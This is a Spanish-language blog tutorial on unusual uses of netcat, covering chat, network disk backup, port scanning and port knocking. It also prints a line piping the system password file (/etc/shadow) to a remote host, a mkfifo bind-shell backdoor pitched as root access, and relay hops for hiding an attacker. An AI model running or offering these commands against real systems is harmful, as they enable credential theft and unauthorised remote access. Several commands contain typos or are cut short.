Nota aclaratoria:

Este artículo es en modo de tutorial para los interesados en herramientas de red de GNU/Linux así como para el conocimiento de admines de servidores, el objetivo del mismo es constribuir al fomento del uso de herramientas de software libre. El uso de los métodos y técnicas explicadas a continuación, los lectores quedan responsables de usarlos con fines no éticos.

Netcat: Usos curiosos de esta potente herramienta.

Viene en la mayoría de los sistemas GNU/Linux, para no cometer el error de decir que en todos, de la cual pocos conocen la existencia de ella, o como usarla. Netcat es un pequeño programa normalmente conocido como la navaja suiza de las redes, puesto que se trata de una herramienta muy versátil y útil. En este artículo veremos algunos de los usos no tan comunes de esta herramienta de red.

Primero que todo, una pasada por la wiki para que sepan de que les hablo.

Wikipedia:

Netcat es una herramienta de red que permite a través de intérprete de comandos y con una sintaxis sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos). Liberada bajo una licencia de software libre permisiva (no copyleft, similar a BSD, MIT) para UNIX. Posteriormente fue portada a Windows y Mac OS X entre otras plataformas. Existen muchos forks de esta herramienta que añaden características nuevas como GNU Netcat, Zenmap o Cryptcat.

Funcionamiento básico

La forma más básica de operar de netcat consiste en:

  • Crear un socket para conectarse a un servidor ( o bien para hacer de servidor )
  • Enviar todo lo que entre por la entrada estándar por el socket
  • Sacar por la salida estándar todo lo recibido por el socket

Parámetros

Algunos de los parámetros más usados con Netcat:

-l Indica que Netcat abre el puerto para Escucha (Listen): Acepta una única conexión de un Cliente y se cierra.
-p Especifica el puerto
-k Fuerza a que el puerto permanezca abierto tras haber recibido una Conexión. Se usa con el parámetro -l y permite infinitas Conexiones.
-u El puerto abierto se abre como UDP, en vez de TCP que es la opción por default.
-v Muestra información de la conexión.
-t Las respuestas son compatibles para sesiones de Telnet.
-q segundos Tras haber recibido el EOF de la Entrada de datos, espera los segundos indicados para enviarla.
-i segundos Especifica un delay (retraso) de tiempo para el envío o recepción de las líneas de texto.

Netcat pretende ser la versión para redes del conocido comando cat, por una parte por su orientación al manejo de texto (Como tantas herramientas UNIX)  y otra por su tremenda fluidez.

En poco mas de 17Kb esta herramienta es capaz de realizar autenticas proezas con una facilidad impresionante. Antes de meternos de llenos en su uso, una ultima recomendación: Descargar el código fuente y echarle un vistazo a su documentación y man nc, no es ninguna perdida de tiempo.

Lo Básico

Voy a presentarles los usos mas básicos del programa, para luego ver algunas de las posibilidades que nos ofrece. Lo primero que ya sabemos, es que netcat puede trabajar tanto como cliente, que como servidor; dependiendo de los parámetros que se les pase.

Cuando se utiliza como cliente sin más, funciona igual que telnet, solo tenemos que darle el nombre o dirección IP de la PC a la que queremos conectarnos, seguida del puerto que queremos utilizar.

Cundo se utiliza como servidor, es necesario utilizar el flag –l y el flag –p seguido del puerto en el que queremos que el servidor acepte conexiones. En consola solo escribiríamos:

~$: nc -l -p 8080

El programa se quedará esperando conexiones en el puerto 8080. Ahora, al coger cualquier navegador y acceder a la dirección 127.0.0.1:8080 netcat nos mostrara por consola algo parecido:

Bueno, todo eso que ven ahí es la información que envía nuestro navegador cada vez que nos conectamos a una página web, en otras palabras, es una petición HTTP. El navegador quedará esperando la respuesta del servidor web (el que montamos con netcat), así que por esta misma herramienta podemos responder (tarea del interesado).

Mensajería Instantánea.

Veamos ahora a una aplicación un poco más curiosa, utilizar nuestro netcat para sustituir los programas de mensajería instantánea. Para montar este sencillo sistema, uno de los interlocutores debe de lanzar netcat como servidor, y el otro como cliente en un puerto determinado, algo así;

Usuario1: ~$: nc -l -p 8080
Usuario2: ~$: nc IP_Usuario1 8080

Si no tienen amigos en red, pueden hablar con ustedes mismo sustituyendo IP_USUARIO1 por el local 127.0.0.1. ¿Sencillo no?

Redirección remota

¿Qué les pareciera poder redirigir la salida de los programas a otra máquina?

En la maquina en la que quieres recibir la salida del programa, lanzas el netcat como servidor en un puerto que no se esté usando, ya saben cómo hacer lo anterior; en el otro extremo, pues solo tienen que hacer:

~$: cat //etc/shadows | nc host puerto

Hacer Copias o Backups

Muchos cuando tenemos un disco duro nuevo, queremos copiar el anterior exactamente igual, o simplemente queremos una copia de un disco. Así que porque perder tiempo seleccionando ficheros para que siempre se nos olvide algún directorio oculto o claves..etc..

Pues nada mas fácil. En la PC remota que quieres copiar, ejecutas el netcat de la siguiente forma:

~$: nc -l -p 8080 > particion1.iso

Y en la PC de donde saldrá la información, ejecutaremos algo como esto:

~$: dd if=/dev/hda1 |nc IP_Remota 8080

Ahora simplemente necesitamos montar nuestro fichero *.iso para tener una copia exacta del disco duro anterior, con una línea como esta:

~#: mkdir //mnt/el_viejo
~#: mount -o loop particion1.iso /mnt/el_viejo

Y en el //mnt/el_viejo tendríamos exactamente el disco anterior.

Netcat permite preparar Backdoors

Acá haremos un experimento en nuestra carpeta //tmp del sistema, creando un archivo (llamado “archivo“) dentro, al cual le pasaremos el mkfifo (para que la herramienta cat, no lea, sino escriba dentro de el). Seguido, como anterior explico, cat procede a la escritura del archivo, se le pasa lo escrito como parámetro al sh, cual a su vez, al ejecutar lo escrito en el archivo, le pasa el parámetro a nc, que escucha a un IP y puerto, dado , devolviendo el resultado del comando al archivo de origen, ….un maldito bucle, 🙂 ggg.

Para que entiendan esta locura, les propongo el ejemplo.

~$: rm -f /tmp/archivo; mkfifo /tmp/archivo    

Esta línea, lo que primeramente hace es verificar si existe el archivo, en caso de que este, lo borra y crea un archivo mkfifo (archivo especial).

~$: cat /tmp/archivo | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/archivo

Con esta sola línea y netcat, podrían preparar un backdoor para acceso Shell desde cualquier maquina, (el interés de esto es un acceso shell como root.)

netcat-cliente le dice al netcat-server que ejecute el comando que se indica a continuación cuando se recibe una conexión específica. Bueno, en realidad, la cosa es un poco más complicada, pero ahora no es el momento de profundizar en este tema.

Es un poco incómodo porque no habrá prompt, pero si el comando anterior es lanzado como root, pueden hacer cosas como:

 Saltos cuánticos

Como en las películas de hackers, siempre llega un momento en el que los buenos están intentando localizar al malo y en un mapa del mundo se pueden ver unos puntos rojos unidos por líneas que se van poniendo verdes mientras lo localizan.

Está claro lo que hace el malo de la película, pero …podría utilizar netcat para hacer todos estos saltos por todas esas máquinas?, , eso sip, consiguiendo un acceso shell primero.

Y como se haria esto?, pues empipando el netcat a otro netcat.

Supongamos que tenemos 5 maquinas, la PC_1 es la del malo ,y la PC_5 el bueno que quiere localizar al malo. La secuencia de comandos que tendría que ejecutarse seria la siguiente;

Maquina 4: ~$: nc -l -p 5004 | nc maquina5 puerto_destino
Maquina 3: ~$: nc -l -p 5003 | nc maquina4 5004
Maquina 2: ~$: nc -l -p 5002 | nc maquina3 5003
Maquina 1: ~$: nc maquina2 5002

De esta forma se conectaría al puerto destino de la PC_5 dando 3 saltos (sin contar el inicial). En realidad, estas cosas no se hacen así, pero en caso de apuros… nunca se sabe.

Netcat para escanear puertos o realizar Port Knocking

Escaneando puertos

Muchos saben de nmap como herramienta de mapeo de puertos, pero netcat también puede ser utilizados para ese fin, es decir para saber si un determinado puerto, y normalmente servicio de una determinada maquina esta activa.

Para esta tarea vamos a utilizar el flag –z para Entrada/Salida Nula, es decir, en este modo, netcat no va a esperar datos de la entrada estándar ni va a mostrarlos en la salida estándar. Veamos cómo hacen esto.

~#: nc –z maquina 80 && echo “Servicio Web Activo”

Es decir, netcat retorna un código de error si no puede establecer una conexión. Los caracteres && presentan el operador AND lógico para la Shell, el cual tiene la peculiaridad de que si el primer operando es 0 o falso, ya no evalúa el segundo (no es necesario, ya que el resultado será falso independiente del valor del segundo operador).

Así, si netcat no puede establecer la conexión y devuelve un código de error, el siguiente comando, el que muestra el mensaje no se ejecutara.

Combinando esto que acabamos de ver con un poco de scripting es muy sencillo de montar un rudimentario escanadeor de puertos.

Knock, Knock, Knocking on netcat door

Una versión particular de los backdoors es la técnica conocida como Port Knocking, algo así como llamar a la puerta por los puertos.

Esta técnica se basa en ejecutar un cierto comando, normalmente levantar un servicio o abrir un puerto en un firewall, cuando se recibe una serie de intentos de conexión  un determinado conjunto de puertos en una determinada secuencia.

Lo que vamos a describir aquí es una aproximación muy simple al proceso, pero con un poco de scripting y haciendo que el cliente envíe algunos datos, podríamos aproximarnos bastante… pero eso queda para los que les guste el tema.

Veamos como se haría.

En la maquina destino, en la que se ejecutara la acción que nos interesa, solo tenemos que lanzar una secuencia de comandos similar al siguiente:

~$: nc –l –p 500 && nc –l –p 400 && “hola mundo

Ahora, si desde nuestro cliente, nos conectamos primero al puerto 500 y luego al 400, en  la maquina servidor se mostrara un “hola mundo” en la consola. Con lo que hemos comentado respecto al operador && , la línea anterior no debería requerir mayor explicación.

Sencillo? … Rudimentario??.. Si. Pero también inquietante.

Hasta ahora hemos estado utilizando netcat directamente desde la línea de comandos, sin embargo, combinado con un lenguaje de programación, las posibilidades se multiplican.

En este medio extenso artículo hemos visto algunas aplicaciones mas o menos curiosas y/o útiles del programa netcat. Con ella podemos encontrarnos varios scripts que hacen cosas mas complicadas que las que hemos descrito aquí, y también mucho mas interesantes, es una herramienta que merece la pena estudiar .